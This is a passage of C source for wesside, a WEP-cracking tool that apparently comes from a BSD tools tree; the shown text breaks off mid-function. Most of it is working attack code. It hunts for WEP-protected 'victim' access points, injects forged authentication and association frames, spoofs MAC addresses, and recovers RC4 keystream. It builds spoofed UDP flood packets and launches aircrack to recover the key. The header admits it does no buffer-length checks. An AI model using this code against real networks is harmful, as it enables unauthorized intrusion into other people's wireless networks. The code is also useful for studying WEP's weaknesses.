tools/tools/net80211/wesside/wesside/wesside.c

   1 /*
   2  * wep owner by sorbo <sorbox@yahoo.com>
   3  * Aug 2005
   4  *
   5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
   6  * overflows.  this whole thing is experimental n e way.
   7  *
   8  * $FreeBSD: src/tools/tools/net80211/wesside/wesside/wesside.c,v 1.4 2009/07/24 15:31:22 sam Exp $
   9  */
  10
  11 #include <sys/types.h>
  12 #include <sys/socket.h>
  13 #include <sys/ioctl.h>
  14 #include <sys/endian.h>
  15 #include <sys/stat.h>
  16 #include <sys/wait.h>
  17 #include <sys/uio.h>
  18 #include <net/if.h>
  19 #include <net/if_media.h>
  20 #include <net/if_llc.h>
  21 #include <net/if_arp.h>
  22 #include <net/if_types.h>
  23 #include <net/if_dl.h>
  24 #include <net/bpf.h>
  25 #include <net/ethernet.h>
  26 #include <netproto/802_11/ieee80211.h>
  27 #include <netproto/802_11/ieee80211_ioctl.h>
  28 #include <netproto/802_11/ieee80211_radiotap.h>
  29 #include <netproto/802_11/ieee80211_dragonfly.h>
  30 #include <netinet/in.h>
  31 #include <netinet/in_systm.h>
  32 #include <netinet/ip.h>
  33 #include <netinet/udp.h>
  34 #include <arpa/inet.h>
  35 #include <stdlib.h>
  36 #include <stdio.h>
  37 #include <unistd.h>
  38 #include <string.h>
  39 #include <fcntl.h>
  40 #include <errno.h>
  41 #include <assert.h>
  42 #include <zlib.h>
  43 #include <signal.h>
  44 #include <stdarg.h>
  45 #include <err.h>
  46 #include <pcap.h>
  47
  48 #include "aircrack-ptw-lib.h"
  49
  50 #define FIND_VICTIM             0
  51 #define FOUND_VICTIM            1
  52 #define SENDING_AUTH            2
  53 #define GOT_AUTH                3
  54 #define SPOOF_MAC               4
  55 #define SENDING_ASSOC           5
  56 #define GOT_ASSOC               6
  57
  58 int state = 0;
  59
  60 struct timeval arpsend;
  61
  62 struct ippseudo {
  63         struct  in_addr ippseudo_src;   /* source internet address */
  64         struct  in_addr ippseudo_dst;   /* destination internet address */
  65         u_char          ippseudo_pad;   /* pad, must be zero */
  66         u_char          ippseudo_p;     /* protocol */
  67         u_short         ippseudo_len;   /* protocol length */
  68 };
  69 struct tx_state {
  70         int waiting_ack;
  71         struct timeval tsent;
  72         int retries;
  73         unsigned int psent;
  74 } txstate;
  75
  76 struct chan_info {
  77         int s;
  78         struct ieee80211req ireq;
  79         int chan;
  80 } chaninfo;
  81
  82 struct victim_info {
  83         char* ssid;
  84         int chan;
  85         char bss[6];
  86 } victim;
  87
  88 struct frag_state {
  89         struct ieee80211_frame wh;
  90         unsigned char* data;
  91         int len;
  92         unsigned char* ptr;
  93         int waiting_relay;
  94         struct timeval last;
  95 } fragstate;
  96
  97 struct prga_info {
  98         unsigned char* prga;
  99         unsigned int len;
 100         unsigned char iv[3];
 101 } prgainfo;
 102
 103 struct decrypt_state {
 104         unsigned char* cipher;
 105         int clen;
 106         struct prga_info prgainfo;
 107         struct frag_state fragstate;
 108 } decryptstate;
 109
 110 struct wep_log {
 111         unsigned int packets;
 112         unsigned int rate;
 113         int fd;
 114         unsigned char iv[3];
 115 } weplog;
 116
 117 #define LINKTYPE_IEEE802_11     105
 118 #define TCPDUMP_MAGIC           0xA1B2C3D4
 119
 120 unsigned char* floodip = NULL;
 121 unsigned short floodport = 6969;
 122 unsigned short floodsport = 53;
 123
 124 unsigned char* netip = NULL;
 125 int netip_arg = 0;
 126 int max_chan = 11;
 127
 128 unsigned char* rtrmac = NULL;
 129
 130 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
 131 unsigned char myip[16] = "192.168.0.123";
 132
 133 int bits = 0;
 134 int ttl_val = 0;
 135
 136 PTW_attackstate *ptw;
 137
 138 unsigned char *victim_mac = NULL;
 139
 140 int ack_timeout = 100*1000;
 141
 142 #define ARPLEN (8+ 8 + 20)
 143 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
 144 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
 145 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
 146 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
 147 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
 148
 149 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
 150
 151 #define WEP_FILE "wep.cap"
 152 #define KEY_FILE "key.log"
 153 #define PRGA_FILE "prga.log"
 154
 155 unsigned int min_prga =  128;
 156
 157 /*
 158  * When starting aircrack we try first to use a
 159  * local copy, falling back to where the installed
 160  * version is expected.
 161  * XXX builtin pathnames
 162  */
 163 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
 164 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
 165
 166 #define INCR 10000
 167 int thresh_incr = INCR;
 168
 169 #define MAGIC_TTL_PAD 69
 170
 171 int crack_dur = 60;
 172 int wep_thresh = INCR;
 173 int crack_pid = 0;
 174 struct timeval crack_start;
 175 struct timeval real_start;
 176
 177 /* linksys does this.  The hardware pads small packets. */
 178 #define PADDED_ARPLEN 54
 179
 180 #define PRGA_LEN (1500-14-20-8)
 181 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
 182
 183 #define DICT_PATH "dict"
 184 #define TAP_DEV "/dev/tap3"
 185 unsigned char tapdev[16];
 186 unsigned char taptx[4096];
 187 unsigned int taptx_len = 0;
 188 int tapfd = -1;
 189
 190 /********** RIPPED
 191 ************/
 192 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
 193   register long sum;
 194   u_short oddbyte;
 195   register u_short answer;
 196
 197   sum = 0;
 198   while (nbytes > 1)
 199     {
 200       sum += *ptr++;
 201       nbytes -= 2;
 202     }
 203
 204   if (nbytes == 1)
 205     {
 206       oddbyte = 0;
 207       *((u_char *) & oddbyte) = *(u_char *) ptr;
 208       sum += oddbyte;
 209     }
 210
 211   sum = (sum >> 16) + (sum & 0xffff);
 212   sum += (sum >> 16);
 213   answer = ~sum;
 214   return (answer);
 215 }
 216 /**************
 217 ************/
 218
 219 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
 220                           struct in_addr *dip) {
 221         unsigned char *tmp;
 222         struct ippseudo *ph;
 223
 224         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
 225         if(!tmp)
 226                 err(1, "malloc()");
 227
 228         ph = (struct ippseudo*) tmp;
 229
 230         memcpy(&ph->ippseudo_src, sip, 4);
 231         memcpy(&ph->ippseudo_dst, dip, 4);
 232         ph->ippseudo_pad =  0;
 233         ph->ippseudo_p = IPPROTO_UDP;
 234         ph->ippseudo_len = htons(len);
 235
 236         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
 237
 238         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
 239 }
 240
 241 void time_print(char* fmt, ...) {
 242         va_list ap;
 243         char lame[1024];
 244         time_t tt;
 245         struct tm *t;
 246
 247         va_start(ap, fmt);
 248         vsnprintf(lame, sizeof(lame), fmt, ap);
 249         va_end(ap);
 250
 251         tt = time(NULL);
 252
 253         if (tt == (time_t)-1) {
 254                 perror("time()");
 255                 exit(1);
 256         }
 257
 258         t = localtime(&tt);
 259         if (!t) {
 260                 perror("localtime()");
 261                 exit(1);
 262         }
 263
 264         printf("[%.2d:%.2d:%.2d] %s",
 265                t->tm_hour, t->tm_min, t->tm_sec, lame);
 266 }
 267
 268 void check_key() {
 269         char buf[1024];
 270         int fd;
 271         int rd;
 272         struct timeval now;
 273
 274         fd = open(KEY_FILE, O_RDONLY);
 275
 276         if (fd == -1) {
 277                 return;
 278         }
 279
 280         rd = read(fd, buf, sizeof(buf) -1);
 281         if (rd == -1) {
 282                 perror("read()");
 283                 exit(1);
 284         }
 285
 286         buf[rd] = 0;
 287
 288         close(fd);
 289
 290         printf ("\n\n");
 291         time_print("KEY=(%s)\n", buf);
 292
 293         if (gettimeofday(&now, NULL) == -1) {
 294                 perror("gettimeofday()");
 295                 exit(1);
 296         }
 297
 298         printf ("Owned in %.02f minutes\n",
 299                 ((double) now.tv_sec - real_start.tv_sec)/60.0);
 300         exit(0);
 301 }
 302
 303 void kill_crack() {
 304         if (crack_pid == 0)
 305                 return;
 306
 307         printf("\n");
 308         time_print("Stopping crack PID=%d\n", crack_pid);
 309
 310         // XXX doesn't return -1 for some reason! [maybe on my box... so it
 311         // might be buggy on other boxes...]
 312         if (kill(crack_pid, SIGINT) == -1) {
 313                 perror("kill()");
 314                 exit(1);
 315         }
 316
 317         crack_pid = 0;
 318
 319         check_key();
 320 }
 321
 322 void cleanup(int x) {
 323         time_print("\nDying...\n");
 324
 325         if (weplog.fd)
 326                 close(weplog.fd);
 327
 328         kill_crack();
 329
 330         exit(0);
 331 }
 332
 333 void set_chan(int c) {
 334         if (c == chaninfo.chan)
 335                 return;
 336
 337         chaninfo.ireq.i_val = c;
 338
 339         if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
 340                 perror("ioctl(SIOCS80211) [chan]");
 341                 exit(1);
 342         }
 343         chaninfo.chan = c;
 344 }
 345
 346 void set_if_mac(unsigned char* mac, unsigned char *name) {
 347         int s;
 348         struct ifreq ifr;
 349
 350         s = socket(PF_INET, SOCK_DGRAM, 0);
 351         if (s == -1) {
 352                 perror("socket()");
 353                 exit(1);
 354         }
 355
 356         memset(&ifr, 0, sizeof(ifr));
 357         strcpy(ifr.ifr_name, name);
 358
 359         ifr.ifr_addr.sa_family = AF_LINK;
 360         ifr.ifr_addr.sa_len = 6;
 361         memcpy(ifr.ifr_addr.sa_data, mac, 6);
 362
 363         if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
 364                 perror("ioctl(SIOCSIFLLADDR)");
 365                 exit(1);
 366         }
 367
 368         close(s);
 369 }
 370
 371 void setup_if(char *dev) {
 372         int s;
 373         struct ifreq ifr;
 374         unsigned int flags;
 375         struct ifmediareq ifmr;
 376         int *mwords;
 377
 378         if(strlen(dev) >= IFNAMSIZ) {
 379                 time_print("Interface name too long...\n");
 380                 exit(1);
 381         }
 382
 383         time_print("Setting up %s... ", dev);
 384         fflush(stdout);
 385
 386         set_if_mac(mymac, dev);
 387
 388         s = socket(PF_INET, SOCK_DGRAM, 0);
 389         if (s == -1) {
 390                 perror("socket()");
 391                 exit(1);
 392         }
 393
 394         // set chan
 395         memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
 396         strcpy(chaninfo.ireq.i_name, dev);
 397         chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
 398
 399         chaninfo.chan = 0;
 400         chaninfo.s = s;
 401         set_chan(1);
 402
 403         // set iface up and promisc
 404         memset(&ifr, 0, sizeof(ifr));
 405         strcpy(ifr.ifr_name, dev);
 406         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
 407                 perror("ioctl(SIOCGIFFLAGS)");
 408                 exit(1);
 409         }
 410
 411         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
 412         flags |= IFF_UP | IFF_PPROMISC;
 413
 414         memset(&ifr, 0, sizeof(ifr));
 415         strcpy(ifr.ifr_name, dev);
 416         ifr.ifr_flags = flags & 0xffff;
 417         ifr.ifr_flagshigh = flags >> 16;
 418         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
 419                 perror("ioctl(SIOCSIFFLAGS)");
 420                 exit(1);
 421         }
 422
 423         printf("done\n");
 424 }
 425
 426 int open_bpf(char *dev, int dlt) {
 427         int i;
 428         char buf[64];
 429         int fd = -1;
 430         struct ifreq ifr;
 431
 432         for(i = 0;i < 16; i++) {
 433                 sprintf(buf, "/dev/bpf%d", i);
 434
 435                 fd = open(buf, O_RDWR);
 436                 if(fd < 0) {
 437                         if(errno != EBUSY) {
 438                                 perror("can't open /dev/bpf");
 439                                 exit(1);
 440                         }
 441                         continue;
 442                 }
 443                 else
 444                         break;
 445         }
 446
 447         if(fd < 0) {
 448                 perror("can't open /dev/bpf");
 449                 exit(1);
 450         }
 451
 452         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
 453         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
 454
 455         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
 456                 perror("ioctl(BIOCSETIF)");
 457                 exit(1);
 458         }
 459
 460         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
 461                 perror("ioctl(BIOCSDLT)");
 462                 exit(1);
 463         }
 464
 465         i = 1;
 466         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
 467                 perror("ioctl(BIOCIMMEDIATE)");
 468                 exit(1);
 469         }
 470
 471         return fd;
 472 }
 473
 474 void hexdump(unsigned char *ptr, int len) {
 475         while(len > 0) {
 476                 printf("%.2X ", *ptr);
 477                 ptr++; len--;
 478         }
 479         printf("\n");
 480 }
 481
 482 char* mac2str(unsigned char* mac) {
 483         static char ret[6*3];
 484
 485         sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
 486                 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
 487
 488         return ret;
 489 }
 490
 491 void inject(int fd, void *buf, int len)
 492 {
 493         static struct ieee80211_bpf_params params = {
 494                 .ibp_vers = IEEE80211_BPF_VERSION,
 495                 /* NB: no need to pass series 2-4 rate+try */
 496                 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
 497                 .ibp_rate0 = 2,         /* 1 MB/s XXX */
 498                 .ibp_try0 = 1,          /* no retransmits */
 499                 .ibp_flags = IEEE80211_BPF_NOACK,
 500                 .ibp_power = 100,       /* nominal max */
 501                 .ibp_pri = WME_AC_VO,   /* high priority */
 502         };
 503         struct iovec iov[2];
 504         int rc;
 505
 506         iov[0].iov_base = &params;
 507         iov[0].iov_len = params.ibp_len;
 508         iov[1].iov_base = buf;
 509         iov[1].iov_len = len;
 510         rc = writev(fd, iov, 2);
 511         if(rc == -1) {
 512                 perror("writev()");
 513                 exit(1);
 514         }
 515         if (rc != (len + iov[0].iov_len)) {
 516                 time_print("Error Wrote %d out of %d\n", rc,
 517                            len+iov[0].iov_len);
 518                 exit(1);
 519         }
 520 }
 521
 522 void send_frame(int tx, unsigned char* buf, int len) {
 523         static unsigned char* lame = NULL;
 524         static int lamelen = 0;
 525         static int lastlen = 0;
 526
 527         // retransmit!
 528         if (len == -1) {
 529                 txstate.retries++;
 530
 531                 if (txstate.retries > 10) {
 532                         time_print("ERROR Max retransmists for (%d bytes):\n",
 533                                lastlen);
 534                         hexdump(&lame[0], lastlen);
 535 //                      exit(1);
 536                 }
 537                 len = lastlen;
 538 //              printf("Warning doing a retransmit...\n");
 539         }
 540         // normal tx
 541         else {
 542                 assert(!txstate.waiting_ack);
 543
 544                 if (len > lamelen) {
 545                         if (lame)
 546                                 free(lame);
 547
 548                         lame = (unsigned char*) malloc(len);
 549                         if(!lame) {
 550                                 perror("malloc()");
 551                                 exit(1);
 552                         }
 553
 554                         lamelen = len;
 555                 }
 556
 557                 memcpy(lame, buf, len);
 558                 txstate.retries = 0;
 559                 lastlen = len;
 560         }
 561
 562         inject(tx, lame, len);
 563
 564         txstate.waiting_ack = 1;
 565         txstate.psent++;
 566         if (gettimeofday(&txstate.tsent, NULL) == -1) {
 567                 perror("gettimeofday()");
 568                 exit(1);
 569         }
 570
 571 #if 0
 572         printf("Wrote frame at %lu.%lu\n",
 573                txstate.tsent.tv_sec, txstate.tsent.tv_usec);
 574 #endif
 575 }
 576
 577 unsigned short fnseq(unsigned short fn, unsigned short seq) {
 578         unsigned short r = 0;
 579
 580         if(fn > 15) {
 581                 time_print("too many fragments (%d)\n", fn);
 582                 exit(1);
 583         }
 584
 585         r = fn;
 586
 587         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
 588
 589         return r;
 590 }
 591
 592 void fill_basic(struct ieee80211_frame* wh) {
 593         unsigned short* sp;
 594
 595         memcpy(wh->i_addr1, victim.bss, 6);
 596         memcpy(wh->i_addr2, mymac, 6);
 597         memcpy(wh->i_addr3, victim.bss, 6);
 598
 599
 600
 601         sp = (unsigned short*) wh->i_seq;
 602         *sp = fnseq(0, txstate.psent);
 603
 604         sp = (unsigned short*) wh->i_dur;
 605         *sp = htole16(32767);
 606 }
 607
 608 void send_assoc(int tx) {
 609         unsigned char buf[128];
 610         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
 611         unsigned char* body;
 612         int ssidlen;
 613
 614         memset(buf, 0, sizeof(buf));
 615         fill_basic(wh);
 616         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
 617
 618         body = (unsigned char*) wh + sizeof(*wh);
 619         *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
 620         // cap + interval
 621         body += 2 + 2;
 622
 623         // ssid
 624         *body++ = 0;
 625         ssidlen = strlen(victim.ssid);
 626         *body++ = ssidlen;
 627         memcpy(body, victim.ssid, ssidlen);
 628         body += ssidlen;
 629
 630         // rates
 631         *body++ = 1;
 632         *body++ = 4;
 633         *body++ = 2;
 634         *body++ = 4;
 635         *body++ = 11;
 636         *body++ = 22;
 637
 638         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
 639                             strlen(victim.ssid) + 2 + 4);
 640 }
 641
 642 void wepify(unsigned char* body, int dlen) {
 643         uLong crc;
 644         unsigned long *pcrc;
 645         int i;
 646
 647         assert(dlen + 4 <= prgainfo.len);
 648
 649         // iv
 650         memcpy(body, prgainfo.iv, 3);
 651         body +=3;
 652         *body++ = 0;
 653
 654         // crc
 655         crc = crc32(0L, Z_NULL, 0);
 656         crc = crc32(crc, body, dlen);
 657         pcrc = (unsigned long*) (body+dlen);
 658         *pcrc = crc;
 659
 660         for (i = 0; i < dlen +4; i++)
 661                 *body++ ^= prgainfo.prga[i];
 662 }
 663
 664 void send_auth(int tx) {
 665         unsigned char buf[128];
 666         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
 667         unsigned short* n;
 668
 669         memset(buf, 0, sizeof(buf));
 670         fill_basic(wh);
 671         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
 672
 673         n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
 674         n++;
 675         *n = 1;
 676
 677         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
 678 }
 679
 680 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
 681         unsigned char* ptr;
 682         int x;
 683         int gots = 0, gotc = 0;
 684
 685         if (len <= sizeof(*wh)) {
 686                 time_print("Warning: short packet in get_victim_ssid()\n");
 687                 return 0;
 688         }
 689
 690         ptr = (unsigned char*)wh + sizeof(*wh);
 691         len -= sizeof(*wh);
 692
 693         // only wep baby
 694         if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
 695                 return 0;
 696         }
 697
 698         // we want a specific victim
 699         if (victim_mac) {
 700                 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
 701                         return 0;
 702         }
 703
 704         // beacon header
 705         x = 8 + 2 + 2;
 706         if (len <= x) {
 707                 time_print("Warning short.asdfasdf\n");
 708                 return 0;
 709         }
 710
 711         ptr += x;
 712         len -= x;
 713
 714         // SSID
 715         while(len > 2) {
 716                 int eid, elen;
 717
 718                 eid = *ptr;
 719                 ptr++;
 720                 elen = *ptr;
 721                 ptr++;
 722                 len -= 2;
 723
 724                 if (len < elen) {
 725                         time_print("Warning short....\n");
 726                         return 0;
 727                 }
 728
 729                 // ssid
 730                 if (eid == 0) {
 731                         if (victim.ssid)
 732                                 free(victim.ssid);
 733
 734                         victim.ssid = (char*) malloc(elen + 1);
 735                         if (!victim.ssid) {
 736                                 perror("malloc()");
 737                                 exit(1);
 738                         }
 739
 740                         memcpy(victim.ssid, ptr, elen);
 741                         victim.ssid[elen] = 0;
 742                         gots = 1;
 743
 744                 }
 745                 // chan
 746                 else if(eid == 3) {
 747                         if( elen != 1) {
 748                                 time_print("Warning len of chan not 1\n");
 749                                 return 0;
 750                         }
 751
 752                         victim.chan = *ptr;
 753                         gotc = 1;
 754                 }
 755
 756                 ptr += elen;
 757                 len -= elen;
 758         }
 759
 760         if (gots && gotc) {
 761                 memcpy(victim.bss, wh->i_addr3, 6);
 762                 set_chan(victim.chan);
 763                 state = FOUND_VICTIM;
 764                 time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
 765                        victim.ssid, mac2str(victim.bss), victim.chan);
 766                 return 1;
 767         }
 768         return 0;
 769 }
 770
 771 void send_ack(int tx) {
 772         /* firmware acks */
 773 }
 774
 775 void do_llc(unsigned char* buf, unsigned short type) {
 776         struct llc* h = (struct llc*) buf;
 777
 778         memset(h, 0, sizeof(*h));
 779         h->llc_dsap = LLC_SNAP_LSAP;
 780         h->llc_ssap = LLC_SNAP_LSAP;
 781         h->llc_un.type_snap.control = 3;
 782         h->llc_un.type_snap.ether_type = htons(type);
 783 }
 784
 785 void calculate_inet_clear() {
 786         struct ip* ih;
 787         struct udphdr* uh;
 788         uLong crc;
 789         unsigned long *pcrc;
 790         int dlen;
 791
 792         memset(inet_clear, 0, sizeof(inet_clear));
 793
 794         do_llc(inet_clear, ETHERTYPE_IP);
 795
 796         ih = (struct ip*) &inet_clear[8];
 797         ih->ip_hl = 5;
 798         ih->ip_v = 4;
 799         ih->ip_tos = 0;
 800         ih->ip_len = htons(20+8+PRGA_LEN);
 801         ih->ip_id = htons(666);
 802         ih->ip_off = 0;
 803         ih->ip_ttl = ttl_val;
 804         ih->ip_p = IPPROTO_UDP;
 805         ih->ip_sum = 0;
 806         inet_aton(floodip, &ih->ip_src);
 807         inet_aton(myip, &ih->ip_dst);
 808         ih->ip_sum = in_cksum((unsigned short*)ih, 20);
 809
 810         uh = (struct udphdr*) ((char*)ih + 20);
 811         uh->uh_sport = htons(floodport);
 812         uh->uh_dport = htons(floodsport);
 813         uh->uh_ulen = htons(8+PRGA_LEN);
 814         uh->uh_sum = 0;
 815         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
 816                                   &ih->ip_src, &ih->ip_dst);
 817
 818         // crc
 819         dlen = 8 + 20 + 8 + PRGA_LEN;
 820         assert (dlen + 4 <= sizeof(inet_clear));
 821
 822         crc = crc32(0L, Z_NULL, 0);
 823         crc = crc32(crc, inet_clear, dlen);
 824         pcrc = (unsigned long*) (inet_clear+dlen);
 825         *pcrc = crc;
 826
 827 #if 0
 828         printf("INET %d\n", sizeof(inet_clear));
 829         hexdump(inet_clear, sizeof(inet_clear));
 830 #endif
 831 }
 832
 833 void set_prga(unsigned char* iv, unsigned char* cipher,
 834               unsigned char* clear, int len) {
 835
 836         int i;
 837         int fd;
 838
 839         if (prgainfo.len != 0)
 840                 free(prgainfo.prga);
 841
 842         prgainfo.prga = (unsigned char*) malloc(len);
 843         if (!prgainfo.prga) {
 844                 perror("malloc()");
 845                 exit(1);
 846         }
 847
 848         prgainfo.len = len;
 849         memcpy(prgainfo.iv, iv, 3);
 850
 851         for (i = 0; i < len; i++) {
 852                 prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
 853                                                 clear[i]);
 854         }
 855
 856         time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
 857                prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
 858         hexdump(prgainfo.prga, prgainfo.len);
 859
 860         if (!cipher)
 861                 return;
 862
 863         fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
 864                   S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
 865
 866         if (fd == -1) {
 867                 perror("open()");
 868                 exit(1);
 869         }
 870
 871         i = write(fd, prgainfo.iv, 3);
 872         if (i == -1) {
 873                 perror("write()");
 874                 exit(1);
 875         }
 876         if (i != 3) {
 877                 printf("Wrote %d out of %d\n", i, 3);
 878                 exit(1);
 879         }
 880
 881         i = write(fd, prgainfo.prga, prgainfo.len);
 882         if (i == -1) {
 883                 perror("write()");
 884                 exit(1);
 885         }
 886         if (i != prgainfo.len) {
 887                 printf("Wrote %d out of %d\n", i, prgainfo.len);
 888                 exit(1);
 889         }
 890
 891         close(fd);
 892 }
 893
 894
 895 void log_dictionary(unsigned char* body, int len) {
 896         char paths[3][3];
 897         int i, rd;
 898         int fd;
 899         unsigned char path[128];
 900         unsigned char file_clear[sizeof(inet_clear)];
 901         unsigned char* data;
 902
 903         len -= 4; // IV etc..
 904         assert (len == sizeof(inet_clear));
 905
 906         data = body +4;
 907
 908         if (len > prgainfo.len)
 909                 set_prga(body, data, inet_clear, len);
 910
 911
 912         for (i = 0; i < 3; i++)
 913                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
 914
 915
 916         strcpy(path, DICT_PATH);
 917
 918
 919         // first 2 bytes
 920         for (i = 0; i < 2; i++) {
 921                 strcat(path, "/");
 922                 strcat(path, paths[i]);
 923                 fd = open(path, O_RDONLY);
 924                 if (fd == -1) {
 925                         if (errno != ENOENT) {
 926                                 perror("open()");
 927                                 exit(1);
 928                         }
 929
 930                         if (mkdir(path, 0755) == -1) {
 931                                 perror("mkdir()");
 932                                 exit(1);
 933                         }
 934                 }
 935                 else
 936                         close(fd);
 937         }
 938
 939         // last byte
 940         strcat(path, "/");
 941         strcat(path, paths[2]);
 942
 943         fd = open(path, O_RDWR);
 944         // already exists... see if we are consistent...
 945         if (fd != -1) {
 946                 rd = read(fd, file_clear, sizeof(file_clear));
 947
 948                 if (rd == -1) {
 949                         perror("read()");
 950                         exit(1);
 951                 }
 952
 953                 // check consistency....
 954                 for (i = 0; i < rd; i++) {
 955                         if (file_clear[i] !=
 956                             (data[i] ^ inet_clear[i])) {
 957
 958                                 printf("Mismatch in byte %d for:\n", i);
 959                                 hexdump(body, len+4);
 960                                 exit(1);
 961                         }
 962                 }
 963
 964                 // no need to log
 965                 if (i >= sizeof(inet_clear)) {
 966 #if 0
 967                         time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
 968                                 body[0], body[1], body[2]);
 969 #endif
 970                         close(fd);
 971                         return;
 972                 }
 973
 974                 // file has less... fd still open
 975
 976         } else {
 977                 fd = open(path, O_WRONLY | O_CREAT, 0644);
 978                 if (fd == -1) {
 979                         printf("Can't open (%s): %s\n", path,
 980                                strerror(errno));
 981                         exit(1);
 982                 }
 983         }
 984
 985         assert (sizeof(file_clear) >= sizeof(inet_clear));
 986
 987         for(i = 0; i < len; i++)
 988                 file_clear[i] = data[i] ^ inet_clear[i];
 989
 990         rd = write(fd, file_clear, len);
 991         if (rd == -1) {
 992                 perror("write()");
 993                 exit(1);
 994         }
 995         if (rd != len) {
 996                 printf("Wrote %d of %d\n", rd, len);
 997                 exit(1);
 998         }
 999         close(fd);
1000 }
1001
1002 void stuff_for_us(struct ieee80211_frame* wh, int len) {
1003         int type,stype;
1004         unsigned char* body;
1005
1006         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1007         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1008
1009         body = (unsigned char*) wh + sizeof(*wh);
1010
1011         // CTL
1012         if (type == IEEE80211_FC0_TYPE_CTL) {
1013                 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1014                         txstate.waiting_ack = 0;
1015                         return;
1016                 }
1017
1018                 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1019                         return;
1020                 }
1021
1022                 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1023                         return;
1024                 }
1025                 time_print ("got CTL=%x\n", stype);
1026                 return;
1027         }
1028
1029         // MGM
1030         if (type == IEEE80211_FC0_TYPE_MGT) {
1031                 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1032                         unsigned short* rc = (unsigned short*) body;
1033                         printf("\n");
1034                         time_print("Got deauth=%u\n", le16toh(*rc));
1035                         state = FOUND_VICTIM;
1036                         return;
1037                         exit(1);
1038                 }
1039                 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1040                         unsigned short* sc = (unsigned short*) body;
1041
1042                         if (*sc != 0) {
1043                                 time_print("Warning got auth algo=%x\n", *sc);
1044                                 exit(1);
1045                                 return;
1046                         }
1047                         sc++;
1048
1049                         if (*sc != 2) {
1050                                 time_print("Warning got auth seq=%x\n", *sc);
1051                                 return;
1052                         }
1053
1054                         sc++;
1055
1056                         if (*sc == 1) {
1057                                 time_print("Auth rejected... trying to spoof mac.\n");
1058                                 state = SPOOF_MAC;
1059                                 return;
1060                         }
1061                         else if (*sc == 0) {
1062                                 time_print("Authenticated\n");
1063                                 state = GOT_AUTH;
1064                                 return;
1065                         }
1066                         else {
1067                                 time_print("Got auth %x\n", *sc);
1068                                 exit(1);
1069                         }
1070                 }
1071                 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1072                         unsigned short* sc = (unsigned short*) body;
1073                         sc++; // cap
1074
1075                         if (*sc == 0) {
1076                                 sc++;
1077                                 unsigned int aid = le16toh(*sc) & 0x3FFF;
1078                                 time_print("Associated (ID=%x)\n", aid);
1079                                 state = GOT_ASSOC;
1080                                 return;
1081                         } else if (*sc == 12) {
1082                                 time_print("Assoc rejected..."
1083                                            " trying to spoof mac.\n");
1084                                 state = SPOOF_MAC;
1085                                 return;
1086                         } else {
1087                                 time_print("got assoc %x\n", *sc);
1088                                 exit(1);
1089                         }
1090                 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1091                         return;
1092                 }
1093
1094                 time_print("\nGOT MAN=%x\n", stype);
1095                 exit(1);
1096         }
1097
